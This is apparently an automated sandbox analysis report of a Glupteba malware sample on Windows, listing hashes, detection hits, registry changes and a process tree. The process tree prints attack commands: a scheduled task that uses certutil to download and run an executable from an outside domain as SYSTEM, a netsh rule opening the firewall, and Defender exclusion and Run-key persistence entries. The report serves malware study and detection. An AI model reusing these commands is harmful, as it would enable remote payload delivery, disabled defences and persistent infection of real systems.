Analysis
-
max time kernel
138s -
max time network
183s -
platform
windows7_x64 -
resource
win7-20220414-en -
submitted
07-07-2022 20:55
Static task
static1
Behavioral task
behavioral1
Sample
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
Resource
win10v2004-20220414-en
General
-
Target
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe
-
Size
4.4MB
-
MD5
4e65a4077f352f0d56a54e87fa5e39b2
-
SHA1
905fdd590c50ef59b1a33ab8d8dd8b10d48b976d
-
SHA256
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539
-
SHA512
b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 10 IoCs
Processes:
resource yara_rule behavioral1/memory/1884-56-0x00000000035E0000-0x0000000003F06000-memory.dmp family_glupteba behavioral1/memory/1884-57-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba behavioral1/memory/1884-58-0x00000000035E0000-0x0000000003F06000-memory.dmp family_glupteba behavioral1/memory/1884-59-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba behavioral1/memory/1884-61-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba behavioral1/memory/1656-63-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba behavioral1/memory/1656-66-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba behavioral1/memory/1656-73-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba behavioral1/memory/832-76-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba behavioral1/memory/832-77-0x0000000000400000-0x000000000302B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientFrog = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Executes dropped EXE 1 IoCs
Processes:
csrss.exepid process 832 csrss.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Loads dropped DLL 2 IoCs
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exepid process 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\AncientFrog = "0" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2277218442-1199762539-2004043321-1000\Software\Microsoft\Windows\CurrentVersion\Run\AncientFrog = "\"C:\\Windows\\rss\\csrss.exe\"" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 3 IoCs
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exemakecab.exedescription ioc process File created C:\Windows\rss\csrss.exe 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe File created C:\Windows\Logs\CBS\CbsPersist_20220707230601.cab makecab.exe File opened for modification C:\Windows\rss 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 64 IoCs
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-412 = "E. Africa Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-682 = "E. Australia Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-302 = "Romance Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-12 = "Azores Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-721 = "Central Pacific Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-71 = "Newfoundland Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-552 = "North Asia Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-792 = "SA Western Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-602 = "Taipei Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-402 = "Arabic Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-251 = "Dateline Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-364 = "Middle East Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-531 = "Sri Lanka Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-522 = "N. Central Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-572 = "China Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-691 = "Tasmania Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-141 = "Canada Central Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-421 = "Russian Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-448 = "Azerbaijan Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-332 = "E. Europe Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-752 = "Tonga Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-932 = "Coordinated Universal Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-434 = "Georgian Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-592 = "Malay Peninsula Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-384 = "Namibia Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-741 = "New Zealand Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-211 = "Pacific Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-831 = "SA Eastern Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-532 = "Sri Lanka Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time" 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exepid process 1884 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exedescription pid process Token: SeDebugPrivilege 1884 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe Token: SeImpersonatePrivilege 1884 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.execmd.exedescription pid process target process PID 1656 wrote to memory of 1892 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe cmd.exe PID 1656 wrote to memory of 1892 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe cmd.exe PID 1656 wrote to memory of 1892 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe cmd.exe PID 1656 wrote to memory of 1892 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe cmd.exe PID 1892 wrote to memory of 1016 1892 cmd.exe netsh.exe PID 1892 wrote to memory of 1016 1892 cmd.exe netsh.exe PID 1892 wrote to memory of 1016 1892 cmd.exe netsh.exe PID 1656 wrote to memory of 832 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe csrss.exe PID 1656 wrote to memory of 832 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe csrss.exe PID 1656 wrote to memory of 832 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe csrss.exe PID 1656 wrote to memory of 832 1656 4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe csrss.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe"C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe"C:\Users\Admin\AppData\Local\Temp\4410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539.exe"2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://spolaect.info/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20220707230601.log C:\Windows\Logs\CBS\CbsPersist_20220707230601.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\rss\csrss.exeFilesize
4.4MB
MD54e65a4077f352f0d56a54e87fa5e39b2
SHA1905fdd590c50ef59b1a33ab8d8dd8b10d48b976d
SHA2564410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539
SHA512b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5
-
C:\Windows\rss\csrss.exeFilesize
4.4MB
MD54e65a4077f352f0d56a54e87fa5e39b2
SHA1905fdd590c50ef59b1a33ab8d8dd8b10d48b976d
SHA2564410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539
SHA512b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5
-
\Windows\rss\csrss.exeFilesize
4.4MB
MD54e65a4077f352f0d56a54e87fa5e39b2
SHA1905fdd590c50ef59b1a33ab8d8dd8b10d48b976d
SHA2564410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539
SHA512b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5
-
\Windows\rss\csrss.exeFilesize
4.4MB
MD54e65a4077f352f0d56a54e87fa5e39b2
SHA1905fdd590c50ef59b1a33ab8d8dd8b10d48b976d
SHA2564410ec58b93c0b34d91044998994ee6cf73026102795be93a945a3c803295539
SHA512b768d3d057f1acd12758616abf6ae311985303ea45ec2c4e3b3387891228db9a05a8316b275c65c1c78fe5d7c846993cac4545c24449147920dcdc772840bfe5
-
memory/832-77-0x0000000000400000-0x000000000302B000-memory.dmpFilesize
44.2MB
-
memory/832-76-0x0000000000400000-0x000000000302B000-memory.dmpFilesize
44.2MB
-
memory/832-74-0x0000000003440000-0x000000000387C000-memory.dmpFilesize
4.2MB
-
memory/832-72-0x0000000003440000-0x000000000387C000-memory.dmpFilesize
4.2MB
-
memory/832-70-0x0000000000000000-mapping.dmp
-
memory/1016-65-0x0000000000000000-mapping.dmp
-
memory/1016-67-0x000007FEFBEF1000-0x000007FEFBEF3000-memory.dmpFilesize
8KB
-
memory/1656-60-0x00000000033D0000-0x000000000380C000-memory.dmpFilesize
4.2MB
-
memory/1656-66-0x0000000000400000-0x000000000302B000-memory.dmpFilesize
44.2MB
-
memory/1656-63-0x0000000000400000-0x000000000302B000-memory.dmpFilesize
44.2MB
-
memory/1656-62-0x00000000033D0000-0x000000000380C000-memory.dmpFilesize
4.2MB
-
memory/1656-73-0x0000000000400000-0x000000000302B000-memory.dmpFilesize
44.2MB
-
